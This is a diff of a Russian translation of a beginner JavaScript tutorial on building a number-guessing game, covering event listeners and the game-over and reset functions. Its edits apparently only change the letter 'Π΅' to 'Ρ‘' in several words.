+ <li>ПослСдний Π±Π»ΠΎΠΊ, Π² ΠΊΠΎΠ½Ρ†Π΅Β Π½Π°ΡˆΠ΅Π³ΠΎΒ ΠΊΠΎΠ΄Π° (else {}), содСрТит ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ запускаСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ‚ΠΎΠΌ случаС, Ссли Π½ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π΄Π²ΡƒΡ… Π΄Ρ€ΡƒΠ³ΠΈΡ… тСстов Π½Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ true (Ρ‚. Π΅. Π˜Π³Ρ€ΠΎΠΊ Π½Π΅ догадался ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ, Π½ΠΎ Ρƒ Π½Π΅Π³ΠΎ Π΅Ρ‰Ρ‘Β ΠΎΡΡ‚Π°Π»ΠΈΡΡŒ Β Π΄ΠΎΠ³Π°Π΄ΠΊΠΈ). Π’ этом случаС ΠΌΡ‹ Π³ΠΎΠ²ΠΎΡ€ΠΈΠΌ ΠΈΠ³Ρ€ΠΎΠΊΡƒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ ошибся, Π·Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ выполняСм Π΅Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ условный тСст, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, Π±Ρ‹Π»ΠΎ Π»ΠΈ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ большС или ΠΌΠ΅Π½ΡŒΡˆΠ΅Β ΠΎΡ‚Π²Π΅Ρ‚Π°, показывая Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ сообщСниС.</li>
</ul>
</li>
<li>ПослСдниС Ρ‚Ρ€ΠΈ строки Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ (строки 26–28 ) готовят нас ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ΅. ΠœΡ‹ добавляСм 1 ΠΊ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ <code>guessCount</code> Β Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΈΠ³Ρ€ΠΎΠΊ использовал свой Ρ…ΠΎΠ΄Β (<code>++</code>Β ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ ΠΈΠ½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚Π°Β β€” ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°Π΅Ρ‚ Π½Π°Β 1), ΠΎΡ‡ΠΈΡ‰Π°Π΅ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ тСкстового поля ΠΈ фокусируСмся Π½Π° Π½Π΅ΠΌ снова,Β Β Π³ΠΎΡ‚ΠΎΠ²Ρ‹ для Π²Π²ΠΎΠ΄Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ ΠΎΡ‚Π²Π΅Ρ‚Π°.</li>
@@ -531,7 +531,7 @@ greeting;</pre>
<h3 id="Бобытия_Events">Бобытия (Events)</h3>
-<p><span id="result_box" lang="ru"><span>На Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Ρƒ нас Π΅ΡΡ‚ΡŒ Ρ…ΠΎΡ€ΠΎΡˆΠΎ рСализованная функция <code>checkGuess()</code>, Π½ΠΎ ΠΎΠ½Π° Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ сдСлаСт, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π΅Ρ‰Π΅ Π½Π΅ Π²Ρ‹Π·Π²Π°Π»ΠΈ Π΅Π΅.</span> <span>Π’ ΠΈΠ΄Π΅Π°Π»Π΅ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ Π΅Ρ‘ Π²ΠΎ врСмя наТатия ΠΊΠ½ΠΎΠΏΠΊΠΈ Β«</span></span> Submit guess <span lang="ru"><span>Β», ΠΈ для этого Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ событиС.</span> <span>Бобытия - это дСйствия, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ происходят Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ ΠΊΠ½ΠΎΠΏΠΊΠΈ ΠΈΠ»ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° страницы ΠΈΠ»ΠΈ воспроизвСдСниС Π²ΠΈΠ΄Π΅ΠΎ, Π² ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ Π±Π»ΠΎΠΊΠΈ ΠΊΠΎΠ΄Π°.</span> <span>ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΎΡΠ»ΡƒΡˆΠΈΠ²Π°ΡŽΡ‚ событиС, Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ <strong>ΠΏΡ€ΠΎΡΠ»ΡƒΡˆΠΈΠ²Π°Ρ‚Π΅Π»ΡΠΌΠΈ событий</strong>, Π° Π±Π»ΠΎΠΊΠΈ ΠΊΠΎΠ΄Π°, выполняСмыС Π² ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° срабатываниС событий, Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ <strong>ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌΠΈ событий</strong>.</span></span></p>
+<p><span id="result_box" lang="ru"><span>На Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Ρƒ нас Π΅ΡΡ‚ΡŒ Ρ…ΠΎΡ€ΠΎΡˆΠΎ рСализованная функция <code>checkGuess()</code>, Π½ΠΎ ΠΎΠ½Π° Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ сдСлаСт, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π΅Ρ‰Ρ‘ Π½Π΅ Π²Ρ‹Π·Π²Π°Π»ΠΈ Π΅Π΅.</span> <span>Π’ ΠΈΠ΄Π΅Π°Π»Π΅ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ Π΅Ρ‘ Π²ΠΎ врСмя наТатия ΠΊΠ½ΠΎΠΏΠΊΠΈ Β«</span></span> Submit guess <span lang="ru"><span>Β», ΠΈ для этого Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ событиС.</span> <span>Бобытия - это дСйствия, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ происходят Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ ΠΊΠ½ΠΎΠΏΠΊΠΈ ΠΈΠ»ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° страницы ΠΈΠ»ΠΈ воспроизвСдСниС Π²ΠΈΠ΄Π΅ΠΎ, Π² ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ Π±Π»ΠΎΠΊΠΈ ΠΊΠΎΠ΄Π°.</span> <span>ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΎΡΠ»ΡƒΡˆΠΈΠ²Π°ΡŽΡ‚ событиС, Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ <strong>ΠΏΡ€ΠΎΡΠ»ΡƒΡˆΠΈΠ²Π°Ρ‚Π΅Π»ΡΠΌΠΈ событий</strong>, Π° Π±Π»ΠΎΠΊΠΈ ΠΊΠΎΠ΄Π°, выполняСмыС Π² ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° срабатываниС событий, Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ <strong>ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌΠΈ событий</strong>.</span></span></p>
<p><span id="result_box" lang="ru"><span>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку Π½ΠΈΠΆΠ΅ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΉ Ρ„ΠΈΠ³ΡƒΡ€Π½ΠΎΠΉ скобки Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>checkGuess()</code>:</span></span></p>
@@ -539,11 +539,11 @@ greeting;</pre>
<p><span id="result_box" lang="ru"><span>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ добавляСм ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий ΠΊ ΠΊΠ½ΠΎΠΏΠΊΠ΅ <code>guessSubmit</code>.</span> <span>Π­Ρ‚ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π΄Π²Π° Π²Ρ…ΠΎΠ΄Π½Ρ‹Ρ… значСния (Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ) - Ρ‚ΠΈΠΏ события, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΡ‹ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π΅ΠΌ (Π² Π΄Π°Π½Π½ΠΎΠΌ случаС <code>click</code>) Π² Π²ΠΈΠ΄Π΅ строки, ΠΈ ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΠΈ события (Π² Π΄Π°Π½Π½ΠΎΠΌ случаС</span> <span>функция <code>checkGuess()</code> - ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π½Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ ΠΊΡ€ΡƒΠ³Π»Ρ‹Π΅ скобки ΠΏΡ€ΠΈ записи Π²Π½ΡƒΡ‚Ρ€ΠΈ</span></span> {{domxref("EventTarget.addEventListener", "addEventListener()")}}).</p>
-<p><span id="result_box" lang="ru"><span>ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄ сСйчас, ΠΈ ваш ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, Π½ΠΎ Π΄ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΠΌΠΎΠΌΠ΅Π½Ρ‚Π°.</span> <span>ЕдинствСнная ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Ссли Π²Ρ‹ ΡƒΠ³Π°Π΄Π°Π΅Ρ‚Π΅ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ ΠΎΡ‚Π²Π΅Ρ‚ ΠΈΠ»ΠΈ исчСрпаСтС Π΄ΠΎΠ³Π°Π΄ΠΊΠΈ, ΠΈΠ³Ρ€Π° сломаСтся, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π΅Ρ‰Π΅ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>setGameOver()</code>, которая Π΄ΠΎΠ»ΠΆΠ½Π° Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ послС Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ ΠΈΠ³Ρ€Ρ‹.</span> <span>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ наш Π½Π΅Π΄ΠΎΡΡ‚Π°ΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ ΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠΈΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ.</span></span></p>
+<p><span id="result_box" lang="ru"><span>ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄ сСйчас, ΠΈ ваш ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, Π½ΠΎ Π΄ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΌΠΎΠΌΠ΅Π½Ρ‚Π°.</span> <span>ЕдинствСнная ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Ссли Π²Ρ‹ ΡƒΠ³Π°Π΄Π°Π΅Ρ‚Π΅ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ ΠΎΡ‚Π²Π΅Ρ‚ ΠΈΠ»ΠΈ исчСрпаСтС Π΄ΠΎΠ³Π°Π΄ΠΊΠΈ, ΠΈΠ³Ρ€Π° сломаСтся, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π΅Ρ‰Ρ‘ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>setGameOver()</code>, которая Π΄ΠΎΠ»ΠΆΠ½Π° Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ послС Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ ΠΈΠ³Ρ€Ρ‹.</span> <span>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ наш Π½Π΅Π΄ΠΎΡΡ‚Π°ΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ ΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠΈΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ.</span></span></p>
<h3 id="Π—Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠ΅_ΠΈΠ³Ρ€Ρ‹">Π—Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠ΅ ΠΈΠ³Ρ€Ρ‹</h3>
-<p><span id="result_box" lang="ru"><span>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>setGameOver()</code> Π² ΠΊΠΎΠ½Π΅Ρ† нашСго ΠΊΠΎΠ΄Π°, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΡ€ΠΎΠΉΠ΄Π΅ΠΌ ΠΏΠΎ Π½Π΅ΠΉ.</span> <span>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ это ΠΏΠΎΠ΄ Π½ΠΈΠΆΠ½Π΅ΠΉ Ρ‡Π°ΡΡ‚ΡŒΡŽ вашСго JavaScript:</span></span></p>
+<p><span id="result_box" lang="ru"><span>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>setGameOver()</code> Π² ΠΊΠΎΠ½Π΅Ρ† нашСго ΠΊΠΎΠ΄Π°, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΡ€ΠΎΠΉΠ΄Ρ‘ΠΌ ΠΏΠΎ Π½Π΅ΠΉ.</span> <span>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ это ΠΏΠΎΠ΄ Π½ΠΈΠΆΠ½Π΅ΠΉ Ρ‡Π°ΡΡ‚ΡŒΡŽ вашСго JavaScript:</span></span></p>
<pre class="brush: js notranslate">function setGameOver() {
guessField.disabled = true;
@@ -555,9 +555,9 @@ greeting;</pre>
}</pre>
<ul>
- <li><span id="result_box" lang="ru"><span>ΠŸΠ΅Ρ€Π²Ρ‹Π΅ Π΄Π²Π΅ строки ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ Π²Π²ΠΎΠ΄ тСкста ΠΈ ΠΊΠ½ΠΎΠΏΠΊΡƒ Ρ„ΠΎΡ€ΠΌΡ‹, устанавливая ΠΈΡ… ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Π΅ свойства ΠΊΠ°ΠΊ <code>true</code>.</span> <span>Π­Ρ‚ΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ, Ссли Π±Ρ‹ ΠΌΡ‹ этого Π½Π΅ сдСлали, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΌΠΎΠ³ Π±Ρ‹ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ большС Π΄ΠΎΠ³Π°Π΄ΠΎΠΊ послС Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ ΠΈΠ³Ρ€Ρ‹, Ρ‡Ρ‚ΠΎ испортит ΡΠΈΡ‚ΡƒΠ°Ρ†ΠΈΡŽ.</span></span></li>
- <li><span id="result_box" lang="ru"><span>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Ρ‚Ρ€ΠΈ строки Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΡŽΡ‚ Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт {{htmlelement("button")}}, ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‚ Π΅Π³ΠΎ Ρ‚Π΅ΠΊΡΡ‚ΠΎΠ²ΡƒΡŽ ΠΌΠ΅Ρ‚ΠΊΡƒ Β«</span></span> Start new game<span lang="ru"><span>Β» ΠΈ Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‚ Π΅Π΅ ΠΊ Π½ΠΈΠΆΠ½Π΅ΠΉ части нашСго HTML.</span></span></li>
- <li><span id="result_box" lang="ru"><span>ПослСдняя строка устанавливаСт ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий Π½Π° нашСй Π½ΠΎΠ²ΠΎΠΉ ΠΊΠ½ΠΎΠΏΠΊΠ΅, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ Π½Π° Π½Π΅Π΅ запускаСтся функция <code>resetGame()</code>.</span></span></li>
+ <li><span id="result_box" lang="ru"><span>ΠŸΠ΅Ρ€Π²Ρ‹Π΅ Π΄Π²Π΅ строки ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ Π²Π²ΠΎΠ΄ тСкста ΠΈ ΠΊΠ½ΠΎΠΏΠΊΡƒ Ρ„ΠΎΡ€ΠΌΡ‹, устанавливая ΠΈΡ… ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Π΅ свойства ΠΊΠ°ΠΊ <code>true</code>.</span> <span>Π­Ρ‚ΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ, Ссли Π±Ρ‹ ΠΌΡ‹ этого Π½Π΅ сдСлали, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΌΠΎΠ³ Π±Ρ‹ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ большС Π΄ΠΎΠ³Π°Π΄ΠΎΠΊ послС Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ ΠΈΠ³Ρ€Ρ‹, Ρ‡Ρ‚ΠΎ испортит ΡΠΈΡ‚ΡƒΠ°Ρ†ΠΈΡŽ.</span></span></li>
+ <li><span id="result_box" lang="ru"><span>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Ρ‚Ρ€ΠΈ строки Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΡŽΡ‚ Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт {{htmlelement("button")}}, ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‚ Π΅Π³ΠΎ Ρ‚Π΅ΠΊΡΡ‚ΠΎΠ²ΡƒΡŽ ΠΌΠ΅Ρ‚ΠΊΡƒ Β«</span></span> Start new game<span lang="ru"><span>Β» ΠΈ Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‚ Π΅Ρ‘ ΠΊ Π½ΠΈΠΆΠ½Π΅ΠΉ части нашСго HTML.</span></span></li>
+ <li><span id="result_box" lang="ru"><span>ПослСдняя строка устанавливаСт ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий Π½Π° нашСй Π½ΠΎΠ²ΠΎΠΉ ΠΊΠ½ΠΎΠΏΠΊΠ΅, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ Π½Π° Π½Π΅Ρ‘ запускаСтся функция <code>resetGame()</code>.</span></span></li>
</ul>
<p><span id="result_box" lang="ru"><span>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ эту Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ!</span> <span>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄, снова Π² ниТнюю Ρ‡Π°ΡΡ‚ΡŒ вашСго JavaScript:</span></span></p>
@@ -582,7 +582,7 @@ greeting;</pre>
randomNumber = Math.floor(Math.random() * 100) + 1;
}</pre>
-<p><span id="result_box" lang="ru"><span>Π­Ρ‚ΠΎΡ‚ довольно Π΄Π»ΠΈΠ½Π½Ρ‹ΠΉ Π±Π»ΠΎΠΊ ΠΊΠΎΠ΄Π° ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ сбрасываСт всС Π½Π° Ρ‚ΠΎ, ΠΊΠ°ΠΊ это Π±Ρ‹Π»ΠΎ Π² Π½Π°Ρ‡Π°Π»Π΅ ΠΈΠ³Ρ€Ρ‹, поэтому Ρƒ ΠΈΠ³Ρ€ΠΎΠΊΠ° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ Ρ…ΠΎΠ΄.</span> <span>Π­Ρ‚ΠΎ:</span></span></p>
+<p><span id="result_box" lang="ru"><span>Π­Ρ‚ΠΎΡ‚ довольно Π΄Π»ΠΈΠ½Π½Ρ‹ΠΉ Π±Π»ΠΎΠΊ ΠΊΠΎΠ΄Π° ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ сбрасываСт всС Π½Π° Ρ‚ΠΎ, ΠΊΠ°ΠΊ это Π±Ρ‹Π»ΠΎ Π² Π½Π°Ρ‡Π°Π»Π΅ ΠΈΠ³Ρ€Ρ‹, поэтому Ρƒ ΠΈΠ³Ρ€ΠΎΠΊΠ° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π΅Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ Ρ…ΠΎΠ΄.</span> <span>Π­Ρ‚ΠΎ:</span></span></p>
<ul>
<li>УстанавливаСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>guessCount</code> Π½Π° 1.</li>
@@ -590,7 +590,7 @@ greeting;</pre>
<li><span class="short_text" id="result_box" lang="ru"><span>УдаляСт ΠΊΠ½ΠΎΠΏΠΊΡƒ сброса ΠΈΠ· нашСго ΠΊΠΎΠ΄Π°.</span></span></li>
<li>Π’ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ элСмСнты Ρ„ΠΎΡ€ΠΌΡ‹, устанавливаСт фокус, Π΄Π΅Π»Π°Π΅Ρ‚Β ΠΏΠΎΠ»Π΅ доступным для ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… ΡƒΠ³Π°Π΄Ρ‹Π²Π°Π½ΠΈΠΉ.</li>
<li><span class="short_text" id="result_box" lang="ru"><span>УдаляСт Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° ΠΈΠ· Π°Π±Π·Π°Ρ†Π° <code>lastResult</code>.</span></span></li>
- <li><span id="result_box" lang="ru"><span>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²ΠΎΠ΅ случайноС число, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ Π½Π΅ ΡƒΠ³Π°Π΄Ρ‹Π²Π°Π»ΠΈ ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎΠΆΠ΅!</span></span></li>
+ <li><span id="result_box" lang="ru"><span>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²ΠΎΠ΅ случайноС число, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ Π½Π΅ ΡƒΠ³Π°Π΄Ρ‹Π²Π°Π»ΠΈ ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎΠΆΠ΅!</span></span></li>
</ul>
